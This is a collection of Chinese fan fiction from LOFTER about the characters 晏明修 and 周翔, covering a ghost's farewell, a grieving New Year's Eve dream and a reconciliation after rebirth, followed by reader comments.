寂空师傅说解铃还须系铃人
我嘴上应承说好,心里却还是多少发怵
系铃人将我的性命视若草芥,恐怕早就忘了
又如何帮我放下,我苦笑一声
笑自己洒脱一生,到头来却连自己都骗
平心静气是假的,放下超脱也是假的
唯有恨,唯有不甘,才是真的
我这几年虽然不敢去看他,却处处能见他
他当真是爱极了汪雨冬
高高在上的晏少爷也会了为了人去低下头涉足娱乐圈
我恨极怨极,却最恨我自己
明知他心之所向,却还是放不下,还是难过
明明我也曾想过与他共面风雪,白头相并的
却只是我一厢情愿,他是不愿的
我答应了寂空师傅会回来见他一面
可我还是个可怜的懦夫
我活着的时候对他心灰意冷
死了却又念念不忘,我躲在暗处看了他很久
他同之前也变了许多
我看着他对汪雨冬流露的冷漠疏离
心里止不住的叹气,想着他终究只是个孩子
这么对待心爱的人是很难成功的
一会又想汪雨冬已经成了他姐夫
他们永远也不能在一起了
我看着看着
却又有些羡慕,我从前说的每一句话都是真的
他等我的那一夜,我是真的想过未来的
我不求他与我共霜雪,我只愿他与我同喜乐
我想他这一生平平安安,快快乐乐
如今也是
大抵是我这一生得到的太少
便对每一样都视若珍宝
即便是死了,看着他难过,我也还是难过
我去看了所有的朋友,一切待我好的人
拖到最后,我只剩下他
便也十步一徘徊的去了
我走到他面前,却下意识的抬起头
他瘦了,憔悴了好多
也不似当年一般意气风发了
眉宇间有细细的皱纹,我失神去抚<
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这里面也会我的一分缘故吗
想了想又忍不住笑自己死心不改
他停在我面前时,属实是惊着我了
我差点以为他看见我了
后来又想起来是看不见的
他对着我的方向,突然失了声,慌了神
眼泪成串的淌下来,悲伤快要从眼底溢出来
他嗓音有些沙哑,失声的唤着
我恍惚听到他喊翔哥,却又忍不住失笑
我站在那看着他,他哭的好难受
我的心静不下来,我闭上眼反复念着
若离于爱者,无忧亦无怖
我听见佛珠轻叩的声音,身子愈发得轻
可他的啜泣声变得更大,我隐隐竟听清了那一声翔哥
我不禁猛地睁开眼,却突然听见崩裂的声音
佛珠散了一地,哒哒地响着
我便再也忍不住,上前一步
想要替他抹去眼泪,我恨他,却爱他
我爱冬日里张扬的少年
我爱往昔时陪伴的岁月
一念起,百念生
我眼前募地黑下去,便意识涣散
寂空敛去地上散落的佛珠
一言不发地转头离去,他并非怜悯
不过是前尘种种未断,周翔他终究做出了自己的选择罢了
千疮百孔的心却也还是滚烫的,跳动的
破碎不堪的过去也未尝不能有未来
人心才是因果由来
哈哈哈哈之前有姐妹想看晏周,突然有感觉就搞了,就是假设填充了一下翔哥失去意识的那几年发生的事,emm…虽然美人瞎,但谁让翔哥爱他呢
17. On My Own
君安
From LOFTER
【晏周】On My Own
*ooc
On my own, prentending he''s beside me
All alone, I walk with him till morning
今天是今年的最后一天,但还是工作日。
晏明修用了一个上午签署完了公司的文件,整个下午泡在摄影棚里拍摄广告。
今天的广告很简单,穿着黑西装向镜头走去,露出手上的腕表。不需要表情,不需要表演,只要站在那里,走过去,产品露出,看镜头。
很简单,至少开拍前晏明修是这么以为的。
其实并不简单,或许是一年即将结束,所有人都迫不及待地想要跨入新的一年,洗心革面,又或许是在工作结束后有佳人有约,正春心萌动着,总之这一天在摄影棚里的每位都略显焦躁。
结果就是,越是想要把最后的工作做得快一点完美一点,反而会导致效率低下和不完美,焦躁一群人面对熟悉的日常工作手忙脚乱,延长了工作时间,导致大家更急躁,于是更慢,恶性循环。
晏明修不属于这焦躁的人群,却无法避免这躁动的苦果,不过他也不抱怨,能有个借口不去参加家庭聚会他求之不得。
即使代价是要机械地把一个简单地动作重复数十遍。
拍摄结束已经是晚上九点,终于拿起手机查看消息,在点开后发现全是他妈妈、姐姐、姐夫催他参加家宴的信息后露出失望的表情。
两年了,每次他拿起手机总是觉得能看到周翔给他发信息或者是周翔的未接来电,他从不知道,他会如此怀念这微小的细节。
在车上第三次点开手机,他终于没有忍住点开了置顶的那个对话框,那人的头像是黑色背景上面一个笑着的白色面具,有种疏离的神秘感。
对话框里的内容却和头像给人的感觉截然相反。
“明修,干什么呢?我在想你。”
“给你做了你最喜欢吃的菜,今晚回家吃饭吗?”
“买了几个新奇小玩意,感觉挺刺激,你会喜欢的。”
“你看这个视频好好笑哈哈哈哈哈哈哈哈哈”
“今天逛超市的时候发现了一对情侣毛巾,我买了,这回你用粉色的行不?”
“明修,新年快乐。”
“[语音]虽然今天不是什么特别的日子,但我有个礼物想送给你,猜猜是什么?”
不管听了多少次,晏明修还是会因这个礼物而恍神,语音是和一个图片一起发来的,是一个天鹅绒的小盒子上面用丝带打着淡粉色的蝴蝶结。
晏明修曾经嗤笑过周翔的痴心妄想和缺乏审美的包装。
不过当时打开后才发现是一对钻石袖扣,不是什么戒指。
他有上百对比这对精巧华丽的袖扣,没有理由对这份莫名其妙的礼物上心。拿到礼物的当天他把那个被周翔精心复原的蝴蝶结扔到了楼下的垃圾桶里,袖扣放回盒子,丢进了衣橱的深处。
知道他失去周翔之后,他才反应过来,他为什么当初下意识认为那小盒里是戒指,为什么明明不是代表着承诺的戒指却让他心里不舒服,为什么不喜欢那对袖扣。
那天他大哭了一场,边哭边把衣帽间翻得像是飓风过境,终于找到了那个被遗忘在角落里的小盒子。
他在那对袖扣的背后刻了字,一颗刻了zx,一颗刻了ymx。
从此,只要他穿西装,就一定会戴上这对袖扣。他们不再是平平无奇的一对普通袖扣,而是专属于他们的爱情见证,就算当时他并不知道自己已经坠入爱河。
晏明修继续翻,满屏的白色框框,都是周翔无聊的日常闲话。
晏明修曾觉得烦,很少回复,现在却为了这些没有营养的信息不再换最新最快的手机。
最后一条是两年前的夏天发的,“今天是你姐姐的订婚宴,你喝酒了吧?难不难受?要我去接你吗?”
从那条以后,再也没有白色的气泡,他成了那个锲而不舍发信息的人。
从“周翔你什么时候回家?”
到“周翔你跑哪里去了?”
到“翔哥你快回来吧,别吓我。”
到“我就知道你没死。”
再到现在他的每日垃圾话。
晏明修把左手边的袖扣解下来和右边的挤在一起,自己和自己说话,“你看,现在晏明修来找周翔了,他们幸福快乐地在一起了。”
车窗外车水马龙,马路两旁的路灯上都挂着喜气洋洋的装饰,京城的车大部分时间都停着,路边三三两两的行人的欢笑声传到车里,却温暖不了车里人的心。
突然窗外“砰”的一声巨响,引来了惊讶的欢呼,“看!是烟花呀!”
晏明修抬头,透过天窗看到的烟花都是暗淡的。
“我在这里下车,你把文件送到我书桌上就回家吧。”
晏明修穿着薄款的风衣下了车,站在路边举起右手,左手用手机拍下一张照片。
照片里的袖扣染上了烟花的彩色,冷冰冰的西装也显得没那么严肃。
他把这张照片发给周翔,“晏明修和周翔在一起看烟花。”
今年的冬天特别的冷,晏明修打字的时候手被冻得直哆嗦。
他想起那年,他和周翔在一月的第三天终于见到了面,周翔见到他的时候眼睛都亮了,飞奔着朝他跑来。他当时在打电话,周翔扑过来的时候下意识在身前立起左手,示意周翔等一会儿。周翔的神情落寞了一秒,却很快转为一贯的笑脸,笑嘻嘻地帮他捂着拿着手机的手。
他的手从来没有那么暖过。
那是他和周翔一起度过的唯一一个冬天。
晏明修沿着大街走在人从中,在众多压马路的情侣中显得格外孤单寂寥,又因为出众的外表而吸引了许多目光,有些人认出了他,却忌惮他脸上的冰霜不敢靠近。
晏明修权当做没注意到各色的目光,只是沉浸在自己的思绪里。
他想,要是周翔在,他们会怎么过呢?
周翔是个浪漫的人,他也许会突然从背后抱住他,蒙着眼睛问他自己是谁。这时他会逗逗他,假装不知道,再趁周翔不注意反身抱住他,叫他的名字,然后在他愣神的时候旁若无人地与他接吻。
他们会像街上的其他情侣一样,牵着手不惧严寒地压马路,然后回家用运动让彼此暖和起来,最后在新年的钟声
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响起时接吻,拥抱,然后再来一轮。在新的一年的开始紧紧地连在一起。
“滴————————”巨大的噪声在耳边想起,“操,你他妈的不要命了?红灯走你妈呢?瞎了?”
他想得太入神,差点闯了红灯。
晏明修闭了闭眼,对司机说了声抱歉,乖乖站在路口等红灯。
过了马路是商业街,是他们家的反方向,晏明修还是走了过去,步行街的入口摆着一颗巨大的水晶球,里面的一对小人坐在长椅上,系着一条围巾,脸上带着傻笑,看着面前熙熙攘攘的人群。
他看得入了神,周翔也买过一条这样的大红围巾,那围巾长得离谱,能绕他们两个人的脖子两圈后还剩下一节能垂到肚脐,但他们从来没有戴过。
突然有人捂住了他的耳朵,温热的手掌贴着耳廓,驱散了整个寒冬的温暖。
晏明修不敢转头,耳边却传来熟悉的声音,“猜猜我是谁?”
等了一会儿,见晏明修不动也不答,只能放下手绕到他面前。
原来真的有奇迹,整个世界在晏明修眼里都不复存在,他眼里只有周翔。
晏明修冲进他的怀抱,哭的像个孩子。
半晌,他抬起头时,睫毛上都是眼泪凝成的白霜。
周翔捧着他的脸,咬上了他的唇。
晏明修的眼睛大大地睁着,一半是出于惊讶,另一半是想好好看着周翔,看他高挺的鼻梁,乌黑的头发,弯弯的笑眼和眼角淡淡的皱纹,一秒也不想浪费。
一吻终了,周翔变魔术似的不知从哪里掏出那条围巾,给两人围上。晏明修任他左右,只是在他围完后举起右手,“看,晏明修和周翔一直在一起了。”周翔只是看着他笑。
晏明修第一次发现,这条围巾还挺宽,能遮住耳朵。
他的幻想实现了,他们像一对连体婴儿,牵着手,脖子被围巾拴在一起。此刻,他们有义务深爱彼此。
他们一路走回他们的老房子,路上下了雪,雪落在他们的头上,他们却只是像两个傻瓜一样,只知道傻笑、拥抱、牵手和接吻。
他们走了一个晚上,走到雪变成了雨,淅淅沥沥地打在马路和人行道上,灯光一照亮晶晶的。
然后又开始下雪,地上的雨也结了冰,他们一起滑倒,躺在地上傻笑、拥抱、接吻,然后尝试牵着手一起站起来,失败,再重来一次,他们不愿意解下那条害他们失去平衡的围巾,只是重复那个循环直到成功为止。
在他们八次滑倒的时候,新年的钟声敲响了,于是他们在新的一年做的第一件事就是在冰凉的地上拥抱着彼此接吻。
天终于亮起来的时候,他们进了小区,在单元门口一起看新年的第一个日出。
真冷,他们得感觉回家做点能让彼此暖和起来的事情。
晏明修睁开眼睛的时候感觉口干舌燥,整个人好像都在燃烧。
艰难地起身从床头柜的抽屉里翻出体温计,“滴,39.6摄氏度。”
他身边没有人。
end.
感谢看到这里的姐妹们<>
祝大家新年快乐!
丹若胜火
呜呜呜呜呜呜呜呜呜新年的第一把刀呜呜呜呜_(:::з」∠)_
18. 云归处
鹿青崖
From LOFTER
【晏周】 《云归处》
*是磨合期 有私设
----------------------------------------------------
你是薄如蝉翼见血封喉 你是痛
你是三更酒醒沾湿的袖 你是空
周翔是被热醒的。
北京的七月是相当炎热的,尽管夜里开着空调——陈英嘱咐过他们不要开空调睡觉,可惜他们忍不住——但是周翔还是觉得很热。
周翔皱着眉头睁开眼睛,发现热源就是身边的晏明修,他正以一个相当紧密的姿势死死的拥着自己,漂亮的额头上已经渗出了细小的汗珠,却仍然抱得死紧。
周翔已经闷出了一身汗,只得小心翼翼地向外挪动着,他刚伸出了一条腿,却见晏明修就好像被安上了弹簧一样,猛地惊醒坐了起来。
周翔尴尬地挠挠头,又颇为歉疚地摸了摸晏明修的头:“吵醒你啦。”
他正要把晏明修蹬掉的被子重新帮他盖好,细长柔软的手指刚探了出去,便被晏明修牢牢地攥住了,周翔诧异地望向晏明修,倏忽间便撞进了一双黝黑清澈的眼眸中。
这双眼睛很好看。周翔愣愣地想。
他当年就是这么陷进去的。
周翔第二天有个新剧要开机,因此走得格外早。
姜皖来接他的时候,一边帮他拎行李,一边小声问道:“翔哥,你不和晏总说一声啊?”
周翔沉默了一下。
昨晚晏明修最后是握着他的手睡着的,神色一直不大好,周翔问他怎么了他也不说,只是把周翔抱得更紧了些,又折腾了许久才堪堪睡熟。
清晨要早起的周翔更是小心到了极致才没再次惊醒晏明修,行李箱的轮子都恨不得被他包上布,走路更是轻得不得了。
“他昨天没睡好,不吵他了。”周翔轻声道:“走吧。”
他刚走到门口,又把姜皖叫过来,小声嘱咐了他几句。
周翔的新剧是个古装武侠剧,导演是个白胖的老头,颇为和蔼,和周翔搭戏的是今年刚火起来的小花,面孔清丽,眉眼弯弯。
周翔素来是个很会来事,又大方温厚的人,开机仪式之前就和大家基本上打成一片了,姜皖在远处看着也慢慢放下了心,他正要喝口水休息一下,便冷不防地被人拍了下肩膀,姜皖事先完全没感觉,被结结实实地吓了一跳,他迅速地回过头去,眼睛都瞪大了三圈:
“晏总?!”
晏明修今天穿得格外低调,普通的白T配着长裤,单看衣着只会觉得他是个大学生;而脸上价格不菲的大墨镜却几乎盖住了整张俊美的面庞,只露出了线条凌厉的下巴,不咸不淡地应了一声:
“嗯。”
“您怎么来的?您来怎么也不说一声?翔哥知道吗?”连珠炮一样的问题崩豆一样在姜皖口中蹦跃而出。晏明修有点嫌他烦,随手捂住了姜皖的嘴:“我来看翔哥,你安静点。”
话虽如此,晏明修却没有直接走出来和周翔见面,只是安静的站在远处看着周翔与各色人等寒暄,玩笑,合影,最后一起拍集体照。
身形俊朗的周翔作为男主角站在了最中央,神采奕奕,笑容飞扬。
晏明修呆呆的看着,眼睛越来越红。
本来在很久之前,周翔也有机会参加这样的一场开机仪式的。
“你说你来了也不吱一声,是不是都热坏了?”周翔心疼地擦去了晏明修额头上的汗珠,小声埋怨道。
晏明修神情专注地望着他,轻轻摇了摇头。
开机仪式结束后,姜皖猫在晏明修背后使劲冲周翔挥手才让周翔看到这尊佛居然也跑来了。
开机仪式的现场格外的热,周翔一边照顾晏明修,一边注意到身边有三三两两的目光投射过来,有好奇的,有暧昧的,亦有不屑一顾的。
在有些人眼里,自己恐怕就是一个攀着晏家的高枝才得以飞升的,靠牺牲□□换取功名利禄的卑微人士吧。周翔轻轻叹了口气,目光从晏明修脸上挪开,挪向了未知的区域,心底有些怅然。
晏明修察觉到了他神色的变换,不知所措的握住了他的手。
就在二人微微僵持之时,蔡威的电话打了过来。
开机仪式当晚没什么事,蔡威正好到这里出差,便约周翔出来吃饭。
周翔当然应允了下来。
蔡威选的地方是个小烧烤摊,他和周翔从前就好这口,尤其是夏天的时候,点上一大盘烤串再加几瓶冰啤酒,简直美到不行。
蔡威正兴致勃勃地选着几个周翔爱吃的串,冷不防一抬眼,看见打扮得神秘兮兮,简直要从头发武装到脚后跟的周翔正向他走来,他刚要大肆嘲笑一通,却看见了周翔身后还跟了个高挑的人影。
蔡威的笑容瞬间僵硬了。
柔和点说,他不喜欢晏明修,直白点说,他恨晏明修。
蔡威是个聪明人,可他始终想不通周翔原谅晏明修的理由。
“明天你就去现场拍戏了吧?”蔡威将烤好的串递给周翔:“今天你就别喝酒了,点几瓶加冰的饮料算了,可惜这家烧烤摊卖光了。”
“我去买。”晏明修迅速接口,将鸭舌帽压得更低些,抬腿跃进夜色里。
周翔看出蔡威有意支走晏明修,于是他探询着望向蔡威,却见他眼底微红:
“阿翔,你是认真的吗?”
周翔笑了一声。
他的声音很低很低,但很坚定:“重来一次都选他了,当然是认真的。”
蔡威的眉头皱得简直要夹死苍蝇,声音里有了几分怒意:“就是因为你重来了,我才这样问你!他还那么年轻,有很多未知,说不定哪天就又会看上一个年轻好看的,他为了汪雨冬都能…这样的人,你真的要和他过一辈子吗!”
周翔又笑。
蔡威恨不得把眼前这个只顾着傻笑的人一巴掌呼醒,却只听周翔柔声道:“就当上辈子他没让我过好,这辈子怎么着也得让他来补偿一下我吧。”
“更何况明修不是那样的人。”
蔡威艰涩地咽下一口啤酒,有什么滚烫的东西被他一齐咽了下去。
他拍了拍周翔的肩膀,最终什么也没说。
蔡威最后喝多了,醉成了一摊泥。
晏明修是开车来的,他先将周翔送回了剧组的宾馆,姜皖早睡了,还不等周翔说,晏明修便主动请缨送蔡威回去。
周翔笑着亲了亲晏明修的脸:“宝贝儿我等你回来睡觉。”
晏明修摸了摸他的头,很用力的抱了他一下:“你早点睡,明天熬出黑眼圈不好上妆的。”
周翔又笑着亲了他一下,才关上房门。
晏明修摸了下被周翔亲吻过的侧脸,神色愈发温柔。
“晏公子屈尊送我,我还真是不敢当。”蔡威懒洋洋地在后座打了个哈欠,眼底精光一片,哪里是喝醉了的模样。
晏明修淡淡道:“翔哥让的。”
“我了解他,我知道阿翔一定会这么做。”蔡威坐直了,声音低沉:“我也知道,他最是心软,一定会原谅你。”
晏明修的神情微微凝滞了一瞬。
“阿翔没有爹妈,你当初就这么欺负他。”蔡威嗤笑了一声:“要是没有晏家,你算什么?你出个柜,晏家上上下下的人都去折腾阿翔,要是阿翔的爹妈还在,别的不论,哪个会容忍你这样的人进他们的家门?”
“…对不起。”晏明修喃喃开口。
“你和我道歉有什么用?”蔡威冷笑道:“又不是我要和你过一辈子,是阿翔非得喜欢你,我有什么办法?”
“你想过和阿翔的以后吗?地下恋情一辈子?家里人还是会觉得阿翔是傍着你的小白脸?就这么稀里糊涂的过下去?宋居寒怎么样?那样的天王巨星,还不是说告白就告白,说出柜就出柜。”蔡威越说越起劲:“你不会以后刚上舞台表白完,下台就被你爸打个半残吧?”
蔡威说得痛快极了,三十多年了,他才发现自己嘴皮子原来这么利索。
他看着晏明修的脸色忽青忽白,最后干脆一片死灰,又怕他这幅样子回去见了周翔又惹周翔担心,语气和缓了不少:“我说这些是想让你好好想想,阿翔潇洒惯了,小半辈子都没什么人为他张罗点什么,你要是真在乎他,得多为他想想。”
“你家里的那些事,也不是阿翔和我说的,是汪雨冬有意散播出去的,我已经压下来一部分了,你记得替阿翔再料理了。”
“我知道。”
“重来一次他还是选了你。”蔡威摇摇头,眼神里似悲似痛,似不解似怅然:“真不知道你小子有什么好。”
回宾馆的时候周翔已经睡了。
晏明修轻手轻脚的为周翔检查了一下明天拍戏要准备的东西,再三确定没有遗漏后,他轻轻躺在周翔身边,小心地将他搂在了怀里。
他听着周翔有力的心跳,眼底一片湿润。
他眨眨眼,又眨眨眼,一大滴圆润的眼泪砸下来,洇湿了周翔的睡衣。
周翔这次扮演的角色是个落魄的中年剑客,对演技的要求不算是特别的严格,只要动作潇洒漂亮,基本上就能一条过。
现如今武侠剧受众不广,但是导演却是个德高望重又经验丰富的好导演,据说脾气蛮好,看着面相也和善,可惜开拍的第一天,同组的女演员就被他训得抬不起头:
“你自己单镜头拍不好也就算了!现在这条NG多少次了?周翔陪你拍多长时间了?大热天拖着人家陪你遭罪!”
周翔暗暗叫苦。
其实他是个脾气很好的人,也能理解演员的NG情况,他本人还没生气,导演却有意无意的为他抱上了屈。要知道这小花万一看着和气,背地里要是因为这个不敢得罪导演想来找他茬,也不是不可能。
周翔在剧组呆了太多年,深知其中的弯弯绕绕,能不得罪人就尽量不得罪,才为自己挣了立足之地,他正想像从前一样,上前打个圆场,却见导演手一挥:“算了,都歇一会儿吧!”
小花如蒙大赦。
周翔也躲到保姆车上吹空调,晏明修把冰好的柠檬水递给他,又捏了捏他的肩膀:“累不累?”
周翔笑道:“累什么?这才哪到哪。”
晏明修皱起了眉:“可是那一个动作你做了好多遍,这大热天……”
周翔笑着将他的眉头抚平:“这不算啥,看见你,我就一点都不累了。”
晏明修心底一动,伏下身去便要吻周翔,周翔也配合他,姜皖在车里尴尬地恨不得钻方向盘里避难,正叫苦不迭时,车窗被人轻轻地敲了两下。
晏明修素来是个不顾忌的,但是怕剧组人讲周翔闲话,便悻悻地直起身子来,周翔为他理了理微乱的刘海,又哄了他两句,姜皖才将车门打开。
是那个同组的小花。
她身上的戏服也没脱,只多披了件防晒服,眼睛红红得,显然是刚哭过,手中还端着个水果盘。
“周老师在吗?”
姜皖点了下头,周翔跳下车看着她,女孩子吸着鼻子,声音很软:“对不起啊周老师,刚才拖你后腿了。”
周翔一向对女孩子绅士,连忙笑着摇头说没事。
小花看着他清俊含笑的面孔,耳尖立刻红了起来,将果盘塞到周翔手里,还没多说什么便跑了。
“不许吃。”车上晏明修故意装凶,那势头仿佛要将果盘瞪出个窟窿。
周翔笑了起来,在他脸上亲了个带响的,姜皖早借机跑了,保姆车里只剩了他们两个。
“吃醋啊。”周翔眯起眼睛笑道:“我还以为你不会吃醋呢。”
“我怎么不会?”晏明修把果盘抢过来,一脸敌意的看着装点精致的水果,一副恨不得丢下去的模样。
“我还以为只有我会吃你的醋呢,从前你和汪雨冬……”周翔话说到一半,忽然愣住了。
周翔其实极少提到从前那个词。
不是不能面对,重生这种事,不是谁都有这样的运气重来,他还因此得了一个妈,他觉得值了;也不是不能回忆,既然一切都过去了,既然都和晏明修和好了,周翔就不愿意扯着陈芝麻烂谷子纠缠个没完。
他自认能面对,也够坦然,只是没料到自己会这样顺畅地脱口而出,更没料到,在说完之后,这心脏还是有些细密的疼痛。
这种疼痛就好像喉咙口堵了块碎骨头,咽不下,吐不出。只是闷痛。
晏明修低着头沉默了一瞬,继而开口:“翔哥……”
他话刚开了个头,只听姜皖在车外叫道:“翔哥,导演要开始了!”
周翔一向敬业,只得安抚性地看了他两眼,继而下了车。
晏明修深吸了一口气,瘫在了车上。
下午的戏一直很顺利。
等到当天戏拍的差不多,导演准备收工的时候,被导演训了一上午的小花说要请大家吃饭,剧组的人看这姑娘年纪小又漂亮,请客吃饭多少也有几分为上午NG过多的事道歉的意思,大多数人便都同意了。
周翔也在其列。
周翔去,晏明修自然也跟着。小姑娘的经纪人很会点菜,一桌子的琳琅满目,夏天吃起来倒也清新爽口。周翔一边吃一边和导演探讨剧情,晏明修坐在他身边为他剥虾,堆得他的盘子里像小山包一样。周翔见了,不由得笑了一声,轻轻地握了一下晏明修的手。
晏明修也很用力地回握了过来。
小花的眼睛一直有意无意的瞟向周翔的方向,不经意间与晏明修对视了一瞬。
晏明修眼底不加掩饰的冷意,令她胆寒。
最后散场的时候晏明修陪着周翔,周翔则走在后面和导演聊着下一场戏的剧情,导演很喜欢周翔身上那股“稳”的气场,也喜欢他敬业负责的态度,不自觉地借着酒意提点他:
“晏家不是你能招惹得起的,玩玩儿还行,千万别陷进去,要不然倒霉的是你自己。”
导演的助理一向机灵,见到周翔和晏明修闻言都愣在那里,急忙借故将导演扶到了一边。
周翔知道导演是好意,只是没几个人知道他和晏明修之间具体的故事,都看不好他们。
外人眼中他们的感情宛如蜉蝣,朝生暮死;他们自己却偏要做彭祖,要一个长命百岁。
周翔想到这里不由得笑了一声,他没注意到晏明修不安的神情,还顺道对着那小花道了句晚安。
当晚睡觉的时候晏明修依然将他抱得很紧。
“你公司那边已经耽误好些天了,真的没问题吗?”周翔有些担忧的问道。
“你烦我了?”晏明修埋在周翔颈窝中,闷闷道。
周翔哑然失笑:“怎么会,我就是怕……”
“你什么都不用怕。”晏明修将他抱得更紧了,似是安抚他,又好像是在提醒自己,执意打断了周翔的话音:“我一切都会处理好的,你什么都不要怕。”
睡了没多久,周翔便被晏明修吵醒了。
一开始是些细碎的声音,周翔只当是宾馆隔音不好,下意识地往晏明修怀里钻了钻,却发现声音越老越大。
周翔怔了一下,随即明白过来是晏明修在说梦话。
梦话的内容听不真切,但是晏明修的状态很不好,面色苍白大汗淋漓,双手死死得圈着周翔的手臂,恍如溺水之人紧抱浮木。
“明修?明修?”周翔勉强直起身子,一边按亮了床头灯一边轻拍晏明修:“你醒醒?”
晏明修猛地睁开了眼睛。
周翔定定地看着他,那单论脸就可以压所有人一头的晏明修,此时此刻颇为狼狈,被汗水打湿的刘海可怜的黏在额头上,睡衣皱巴在一起,紧贴在晏明修身上。
“明修,你是做噩梦了对吗。”周翔轻声道:
“你是梦见了…过去的我吗?”
空气
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里划过悲凉的弦音。
晏明修双手颤抖,嘴唇的颜色也变得愈发苍白,却吐不出一个字来。周翔轻叹了一声,伸出手去拥抱了他:
“明修,你睡眠最近一直不好,你知道吗?”
周翔慢慢伸出手去抱住了晏明修,语气和缓:“我让姜皖买了一点宁神静气的香包放在你宾馆里面,后来你就睡得踏实多了。”周翔低下头去看着晏明修的眼睛:“但是你今天的状态又不好了,包括现在也是,是被我说中了对吗?”
晏明修慌乱地摇摇头,又连忙点头,声音有些颤抖,他抓着周翔睡衣的衣角,攥得很紧很紧:
“对不起,翔哥,我以前太混蛋了…”
周翔拍着他的背安抚道:“不是说好了不提的吗,都过去了…”
晏明修自顾自的开口,像是解释着什么,努力地阐述道:“我想过的,我有想我们的未来,我不是一定要在娱乐圈呆着的,也不想和你谈什么地下恋情,我想让所有人都知道我们是在恋爱,是光明正大的,我希望我爸妈能接受我们,然后像普通人家一样一起和阿姨吃个饭,我……”
晏明修的声音开始颤抖:“我有很多很多的想法,我也在实践了,翔哥,你一定要等我。”
他伸出手去,似是想抱住周翔,又不敢完全地抱住:“你不能不理我……”
周翔摸着他的头,一字一句:“我不会不理你。”
他定定地看着晏明修:“我知道你在努力,我也在努力,等到我事业稳定了,自然就可以公开恋情了;等我和你爸妈见面的次数多了,他们不就喜欢我了嘛,你翔哥最讨人喜欢了,你又不是不知道。”
周翔的声音里带着轻快的调笑。其实他最是豁达不过,部分人的轻视和误解他可以不在意,不能公之于众的恋情他可以忍受,爱人父母的不解他也可以体谅,甚至想要去改变。
他连汪雨冬那样的小人都能视为过眼云烟。自从生命重来一遍之后,就好像没什么是他周翔不能放下,不能面对的了。
就算有,只要身边有晏明修,他就依然能面对。
晏明修一瞬不瞬的望着他。
他的周翔,原本不是现在的这个模样。
他呆呆的望着周翔,望着那清俊柔和的面庞,又似是看到了那人永远温和潇洒的灵魂,便不假思索地脱口而出:“你爱我什么?”
你爱我什么?爱到哪怕这一生明明是可以从头来过的,却还是要选择我?
床头灯的光线昏黄温暖,拂过了周翔的发尖。周翔轻轻抚摸上晏明修的面颊,音色如珠击玉石:
“人的相貌最终都会老去,家世和财富也不能带进坟墓里。有时候我也想,你这个人当时的脾气还挺不好的,是要哄着惯着的,我居然也能受得住,想来这便是命中注定的,我能受得了你一时,便要受一辈子。”
晏明修慌忙摆手:“不会的不会的,我不会再惹你生气了…”
周翔笑了起来,示意他安心:“我父母早亡,要好的兄弟也早早成家立业了,仔细算来,身边人中我竟然是与你羁绊最深的。”
“也许我从前喜欢你相貌俊秀,有几分有点可爱的小性子,体贴起人来也够甜够温和,但是…”
晏明修竖起耳朵紧张的听着。
“但是这些其实不是我会和一个人走到最后的必然条件。”
“后来我再来到这个世上,你从前拥有的这些我都不喜欢了,只是我太惊讶了,原来我们之间有这么多的经历,偏偏这经历都太惨烈了,我能去面对不假,但是有时候也是真的不愿提,也是真的会难过。”
他望向晏明修,眼底没有一丝苛责,似泉水细腻柔和,好像能包容一切:“就像你刚才那样。”
“但是我们会一起去面对,化解,克服。”周翔慢慢握住晏明修的手,将自己那多灾多难的衣角解救出来,嘴角噙笑:“就像你问我爱你什么,我爱的是后来的那个少年,愿意去承担,去面对,去解决,就算有时候做法拙劣,但是却胜在一片赤诚。”
周翔缓缓开口:“这一片赤诚,是从前那个周翔无福得到的。”
“它最珍贵。”
周翔伸出手去擦干了晏明修脸上的眼泪,阻止了他又要道歉的意图,在他的唇上亲了亲,柔声道:
“过了今晚,就不要被过去纠缠了,你要想,你确实对不起周翔的过去,但是你要对得起周翔的余生。”
“别往后看。”
晏明修猛地拥住他,这个拥抱还是那样的用力,是几乎要将他揉进血肉里的力度,但是和从前的每一个拥抱都不同,饱含着无尽的光明与希望。晏明修的手臂在不断地颤抖,却又如火一般热烈。
他抱着周翔,就像抱住了自己的今后人生。
周翔安静地枕在晏明修的肩上,视线透过宾馆窗帘的缝隙,看到天边一片月色朦胧处,无数云朵层峦堆叠,流淌出最温柔的颜色。这月光恍如倦鸟归巢,枯木逢春,最终化为无穷无尽的希冀与深情,越过了既往所有的悲伤与痛悼,终于将他们抱了个满怀。
原来苦尽甘来是有颜色的。周翔默默地想。
那个长夜的尽头,他们安静的坐在一起,晏明修让周翔倚在他的肩上,忽然轻快地开口:
“我叫晏明修,从十六岁的时候就喜欢你了,只是一直不知道你叫什么,方便透露一下吗?”
“我叫周翔,飞翔的翔。”
周翔与晏明修瞬间对视,这对话使时光又仿佛回到了故事最开始的篇章,那时的他们,都还没来得及爱上对方,周翔仍是兢兢业业的替身演员,晏明修仍是心高气傲的晏家公子,他们好像还有很多的可能。
可惜那时的他们,最后败给了误会与伤痛。
所幸现在的他们,许是上天垂怜,又许是胜天半子。
“这才是我应该对你说的第一句话,有些迟了。”晏明修道。
“不迟,来日方长。”
新一天的拍摄开始前,姜皖将宾馆门拍的震天响,大声催促两个主子赶紧整理内务,里面的人却不紧不慢,甚至还有心思互相调笑:
“周老师,你武打的动作都好好看,可以教教我吗?”晏明修一本正经的开口。
“可以啊,”周翔顺坡下驴,正色道:“不过你得叫我老师。”
“好的。”晏明修一口答应,明亮的眸子转了一转:
“老…婆。”
-完-
热门评论
结果极显著
我深夜躺在床上看的一个爆哭,我太爱这个翔哥了。这个翔哥真的太好了,他好的像不是真的,能接受伴侣的缺点,能等待伴侣去改正这些缺点,能往前走,不在过去停留,不因为外界不因为晏明修的家人而动摇个晏明修在一起的心。这个翔哥好的甚至让我觉得晏明修不配,晏明修你凭什么呢?凭什么糟践了人以后,又要人去等你处理好一切,又要安慰你给予你安全感,又要自己坚定这段感情,翔哥凭什么要等你呢?但是,除了你又还会有谁像这样顶住各边的压力去这么用力的抱紧翔哥呢?翔哥看到了爱才留了下来,是晏明修你的爱留住了翔哥,更是翔哥自己原因相信你,深夜爆哭,晏周绝美爱情,谢谢太太的文
89
唐念青
